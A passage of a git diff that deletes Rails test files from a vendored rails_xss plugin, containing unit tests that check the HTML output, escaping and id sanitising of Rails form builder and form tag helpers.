-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
-    @post.comments = [Comment.new(321), Comment.new]
-    yielded_comments = []
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:comments) do |cf|
-        concat cf.text_field(:name)
-        yielded_comments << cf.object
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-    assert_equal yielded_comments, @post.comments
-  end
-
-  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
-    @post.comments = []
-
-    form_for(:post, @post) do |f|
-      f.fields_for(:comments, Comment.new(321), :child_index => 'abc') do |cf|
-        concat cf.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" size="30" type="text" value="comment #321" />' +
-               '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_uses_unique_indices_for_different_collection_associations
-    @post.comments = [Comment.new(321)]
-    @post.tags = [Tag.new(123), Tag.new(456)]
-    @post.comments[0].relevances = []
-    @post.tags[0].relevances = []
-    @post.tags[1].relevances = []
-    form_for(:post, @post) do |f|
-      f.fields_for(:comments, @post.comments[0]) do |cf|
-        concat cf.text_field(:name)
-        cf.fields_for(:relevances, CommentRelevance.new(314)) do |crf|
-          concat crf.text_field(:value)
-        end
-      end
-      f.fields_for(:tags, @post.tags[0]) do |tf|
-        concat tf.text_field(:value)
-        tf.fields_for(:relevances, TagRelevance.new(3141)) do |trf|
-          concat trf.text_field(:value)
-        end
-      end
-      f.fields_for('tags', @post.tags[1]) do |tf|
-        concat tf.text_field(:value)
-        tf.fields_for(:relevances, TagRelevance.new(31415)) do |trf|
-          concat trf.text_field(:value)
-        end
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
-               '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" size="30" type="text" value="commentrelevance #314" />' +
-               '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-               '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" size="30" type="text" value="tag #123" />' +
-               '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" size="30" type="text" value="tagrelevance #3141" />' +
-               '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' +
-               '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' +
-               '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" size="30" type="text" value="tag #456" />' +
-               '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" size="30" type="text" value="tagrelevance #31415" />' +
-               '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' +
-               '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for
-    fields_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_index
-    fields_for("post[]", @post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
-      "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[123][secret]' type='hidden' value='0' />" +
-      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_nil_index_option_override
-    fields_for("post[]", @post, :index => nil) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
-      "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[][secret]' type='hidden' value='0' />" +
-      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_index_option_override
-    fields_for("post[]", @post, :index => "abc") do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[abc][title]' size='30' type='text' id='post_abc_title' value='Hello World' />" +
-      "<textarea name='post[abc][body]' id='post_abc_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[abc][secret]' type='hidden' value='0' />" +
-      "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_without_object
-    fields_for(:post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_only_object
-    fields_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_object_with_bracketed_name
-    fields_for("author[post]", @post) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-    end
-
-    assert_dom_equal "<label for=\"author_post_title\">Title</label>" +
-    "<input name='author[post][title]' size='30' type='text' id='author_post_title' value='Hello World' />",
-      output_buffer
-  end
-
-  def test_fields_for_object_with_bracketed_name_and_index
-    fields_for("author[post]", @post, :index => 1) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-    end
-
-    assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" +
-      "<input name='author[post][1][title]' size='30' type='text' id='author_post_1_title' value='Hello World' />",
-      output_buffer
-  end
-
-  def test_form_builder_does_not_have_form_for_method
-    assert ! ActionView::Helpers::FormBuilder.instance_methods.include?('form_for')
-  end
-
-  def test_form_for_and_fields_for
-    form_for(:post, @post, :html => { :id => 'create-post' }) do |post_form|
-      concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
-
-      fields_for(:parent_post, @post) do |parent_fields|
-        concat parent_fields.check_box(:secret)
-      end
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='parent_post[secret]' type='hidden' value='0' />" +
-      "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_and_fields_for_with_object
-    form_for(:post, @post, :html => { :id => 'create-post' }) do |post_form|
-      concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
-
-      post_form.fields_for(@comment) do |comment_fields|
-        concat comment_fields.text_field(:name)
-      end
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' size='30' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  class LabelledFormBuilder < ActionView::Helpers::FormBuilder
-    (field_helpers - %w(hidden_field)).each do |selector|
-      src, line = <<-END_SRC, __LINE__ + 1
-        def #{selector}(field, *args, &proc)
-          ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe
-        end
-      END_SRC
-      class_eval src, __FILE__, line
-    end
-  end
-
-  def test_form_for_with_labelled_builder
-    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' method='post'>" +
-      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_default_form_builder
-    old_default_form_builder, ActionView::Base.default_form_builder =
-      ActionView::Base.default_form_builder, LabelledFormBuilder
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' method='post'>" +
-      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    ActionView::Base.default_form_builder = old_default_form_builder
-  end
-
-  def test_default_form_builder_with_active_record_helpers
-    form_for(:post, @post) do |f|
-       concat f.error_message_on('author_name')
-       concat f.error_messages
-    end
-
-    expected = %(<form action='http://www.example.com' method='post'>) +
-               %(<div class='formError'>can't be empty</div>) +
-               %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>) +
-               %(</form>)
-
-    assert_dom_equal expected, output_buffer
-
-  end
-
-  def test_default_form_builder_no_instance_variable
-    post = @post
-    @post = nil
-
-    form_for(:post, post) do |f|
-       concat f.error_message_on('author_name')
-       concat f.error_messages
-    end
-
-    expected = %(<form action='http://www.example.com' method='post'>) +
-               %(<div class='formError'>can't be empty</div>) +
-               %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>) +
-               %(</form>)
-
-    assert_dom_equal expected, output_buffer
-
-  end
-  
-  def test_default_form_builder_without_object
-
-    form_for(:post) do |f|
-       concat f.error_message_on('author_name')
-       concat f.error_messages
-    end
-
-    expected = %(<form action='http://www.example.com' method='post'>) +
-               %(<div class='formError'>can't be empty</div>) +
-               %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>) +
-               %(</form>)
-
-    assert_dom_equal expected, output_buffer
-
-  end
-
-  # Perhaps this test should be moved to prototype helper tests.
-  def test_remote_form_for_with_labelled_builder
-    self.extend ActionView::Helpers::PrototypeHelper
-
-     remote_form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-       concat f.text_field(:title)
-       concat f.text_area(:body)
-       concat f.check_box(:secret)
-     end
-
-     expected =
-       %(<form action="http://www.example.com" onsubmit="new Ajax.Request('http://www.example.com', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" method="post">) +
-       "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-       "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-       "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
-       "</form>"
-
-     assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_labelled_builder
-    fields_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
-    klass = nil
-
-    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      f.fields_for(:comments, Comment.new) do |nested_fields|
-        klass = nested_fields.class
-        ''
-      end
-    end
-
-    assert_equal LabelledFormBuilder, klass
-  end
-
-  def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
-    klass = nil
-
-    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      f.fields_for(:comments, Comment.new, :index => 'foo') do |nested_fields|
-        klass = nested_fields.class
-        ''
-      end
-    end
-
-    assert_equal LabelledFormBuilder, klass
-  end
-
-  class LabelledFormBuilderSubclass < LabelledFormBuilder; end
-
-  def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
-    klass = nil
-
-    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      f.fields_for(:comments, Comment.new, :builder => LabelledFormBuilderSubclass) do |nested_fields|
-        klass = nested_fields.class
-        ''
-      end
-    end
-
-    assert_equal LabelledFormBuilderSubclass, klass
-  end
-
-  def test_form_for_with_html_options_adds_options_to_form_tag
-    form_for(:post, @post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
-    expected = "<form action=\"http://www.example.com\" class=\"some_class\" id=\"some_form\" method=\"post\"></form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_string_url_option
-    form_for(:post, @post, :url => 'http://www.otherdomain.com') do |f| end
-
-    assert_equal '<form action="http://www.otherdomain.com" method="post"></form>', output_buffer
-  end
-
-  def test_form_for_with_hash_url_option
-    form_for(:post, @post, :url => {:controller => 'controller', :action => 'action'}) do |f| end
-
-    assert_equal 'controller', @controller.url_for_options[:controller]
-    assert_equal 'action', @controller.url_for_options[:action]
-  end
-
-  def test_form_for_with_record_url_option
-    form_for(:post, @post, :url => @post) do |f| end
-
-    expected = "<form action=\"/posts/123\" method=\"post\"></form>"
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object
-    form_for(@post) do |f| end
-
-    expected = "<form action=\"/posts/123\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_new_object
-    post = Post.new
-    post.new_record = true
-    def post.id() nil end
-
-    form_for(post) do |f| end
-
-    expected = "<form action=\"/posts\" class=\"new_post\" id=\"new_post\" method=\"post\"></form>"
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object_in_list
-    @post.new_record = false
-    @comment.save
-
-    form_for([@post, @comment]) {}
-
-    expected = %(<form action="#{comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0;display:inline"><input name="_method" type="hidden" value="put" /></div></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_new_object_in_list
-    @post.new_record = false
-
-    form_for([@post, @comment]) {}
-
-    expected = %(<form action="#{comments_path(@post)}" class="new_comment" id="new_comment" method="post"></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object_and_namespace_in_list
-    @post.new_record = false
-    @comment.save
-
-    form_for([:admin, @post, @comment]) {}
-
-    expected = %(<form action="#{admin_comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0;display:inline"><input name="_method" type="hidden" value="put" /></div></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_new_object_and_namespace_in_list
-    @post.new_record = false
-
-    form_for([:admin, @post, @comment]) {}
-
-    expected = %(<form action="#{admin_comments_path(@post)}" class="new_comment" id="new_comment" method="post"></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object_and_custom_url
-    form_for(@post, :url => "/super_posts") do |f| end
-
-    expected = "<form action=\"/super_posts\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
-    assert_equal expected, output_buffer
-  end
-
-  def test_remote_form_for_with_html_options_adds_options_to_form_tag
-    self.extend ActionView::Helpers::PrototypeHelper
-
-    remote_form_for(:post, @post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
-    expected = "<form action=\"http://www.example.com\" class=\"some_class\" id=\"some_form\" method=\"post\" onsubmit=\"new Ajax.Request('http://www.example.com', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\"></form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  protected
-    def comments_path(post)
-      "/posts/#{post.id}/comments"
-    end
-    alias_method :post_comments_path, :comments_path
-
-    def comment_path(post, comment)
-      "/posts/#{post.id}/comments/#{comment.id}"
-    end
-    alias_method :post_comment_path, :comment_path
-
-    def admin_comments_path(post)
-      "/admin/posts/#{post.id}/comments"
-    end
-    alias_method :admin_post_comments_path, :admin_comments_path
-
-    def admin_comment_path(post, comment)
-      "/admin/posts/#{post.id}/comments/#{comment.id}"
-    end
-    alias_method :admin_post_comment_path, :admin_comment_path
-
-    def posts_path
-      "/posts"
-    end
-
-    def post_path(post)
-      "/posts/#{post.id}"
-    end
-
-    def protect_against_forgery?
-      false
-    end
-end
diff --git a/vendor/plugins/rails_xss/test/form_tag_helper_test.rb b/vendor/plugins/rails_xss/test/form_tag_helper_test.rb
deleted file mode 100644
index 41eeceeb..00000000
--- a/vendor/plugins/rails_xss/test/form_tag_helper_test.rb
+++ /dev/null
@@ -1,354 +0,0 @@
-require 'test_helper'
-
-class FormTagHelperTest < ActionView::TestCase
-  def setup
-    @controller = Class.new do
-      def url_for(options)
-        "http://www.example.com"
-      end
-    end
-    @controller = @controller.new
-  end
-
-  VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
-
-  def test_check_box_tag
-    actual = check_box_tag "admin"
-    expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_check_box_tag_id_sanitized
-    label_elem = root_elem(check_box_tag("project[2][admin]"))
-    assert_match VALID_HTML_ID, label_elem['id']
-  end
-
-  def test_form_tag
-    actual = form_tag
-    expected = %(<form action="http://www.example.com" method="post">)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_multipart
-    actual = form_tag({}, { 'multipart' => true })
-    expected = %(<form action="http://www.example.com" enctype="multipart/form-data" method="post">)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_method_put
-    actual = form_tag({}, { :method => :put })
-    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0;display:inline'><input type="hidden" name="_method" value="put" /></div>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_method_delete
-    actual = form_tag({}, { :method => :delete })
-    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0;display:inline'><input type="hidden" name="_method" value="delete" /></div>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_block_in_erb
-    __in_erb_template = ''
-    form_tag("http://example.com") { concat "Hello world!" }
-
-    expected = %(<form action="http://example.com" method="post">Hello world!</form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_tag_with_block_and_method_in_erb
-    __in_erb_template = ''
-    form_tag("http://example.com", :method => :put) { concat "Hello world!" }
-
-    expected = %(<form action="http://example.com" method="post"><div style='margin:0;padding:0;display:inline'><input type="hidden" name="_method" value="put" /></div>Hello world!</form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_hidden_field_tag
-    actual = hidden_field_tag "id", 3
-    expected = %(<input id="id" name="id" type="hidden" value="3" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_hidden_field_tag_id_sanitized
-    input_elem = root_elem(hidden_field_tag("item[][title]"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_file_field_tag
-    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
-  end
-
-  def test_file_field_tag_with_options
-    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", :class => "pix")
-  end
-
-  def test_password_field_tag
-    actual = password_field_tag
-    expected = %(<input id="password" name="password" type="password" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_radio_button_tag
-    actual = radio_button_tag "people", "david"
-    expected = %(<input id="people_david" name="people" type="radio" value="david" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("num_people", 5)
-    expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
-    expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
-    expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("person[gender]", "m")
-    expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag
-    actual = select_tag "people", "<option>david</option>".html_safe
-    expected = %(<select id="people" name="people"><option>david</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_with_multiple
-    actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>".html_safe, :multiple => :true
-    expected = %(<select id="colors" multiple="multiple" name="colors"><option>Red</option><option>Blue</option><option>Green</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_disabled
-    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :disabled => :true
-    expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_id_sanitized
-    input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_select_tag_with_array_options
-    assert_deprecated /array/ do
-      select_tag "people", ["<option>david</option>"]
-    end
-  end
-
-  def test_text_area_tag_size_string
-    actual = text_area_tag "body", "hello world", "size" => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">hello world</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_size_symbol
-    actual = text_area_tag "body", "hello world", :size => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">hello world</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
-    actual = text_area_tag "body", "hello world", :size => 20
-    expected = %(<textarea id="body" name="body">hello world</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_id_sanitized
-    input_elem = root_elem(text_area_tag("item[][description]"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_text_area_tag_escape_content
-    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">&lt;b&gt;hello world&lt;/b&gt;</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_unescaped_content
-    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
-    expected = %(<textarea cols="20" id="body" name="body" rows="40"><b>hello world</b></textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_unescaped_nil_content
-    actual = text_area_tag "body", nil, :escape => false
-    expected = %(<textarea id="body" name="body"></textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag
-    actual = text_field_tag "title", "Hello!"
-    expected = %(<input id="title" name="title" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_class_string
-    actual = text_field_tag "title", "Hello!", "class" => "admin"
-    expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_size_symbol
-    actual = text_field_tag "title", "Hello!", :size => 75
-    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_size_string
-    actual = text_field_tag "title", "Hello!", "size" => "75"
-    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_maxlength_symbol
-    actual = text_field_tag "title", "Hello!", :maxlength => 75
-    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_maxlength_string
-    actual = text_field_tag "title", "Hello!", "maxlength" => "75"
-    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_disabled
-    actual = text_field_tag "title", "Hello!", :disabled => :true
-    expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_with_multiple_options
-    actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80
-    expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_id_sanitized
-    input_elem = root_elem(text_field_tag("item[][title]"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_label_tag_without_text
-    actual = label_tag "title"
-    expected = %(<label for="title">Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_with_symbol
-    actual = label_tag :title
-    expected = %(<label for="title">Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_with_text
-    actual = label_tag "title", "My Title"
-    expected = %(<label for="title">My Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_class_string
-    actual = label_tag "title", "My Title", "class" => "small_label"
-    expected = %(<label for="title" class="small_label">My Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_id_sanitized
-    label_elem = root_elem(label_tag("item[title]"))
-    assert_match VALID_HTML_ID, label_elem['for']
-  end
-
-  def test_boolean_options
-    assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes")
-    assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil)
-    assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false)
-    assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => true)
-    assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>".html_safe, :multiple => true)
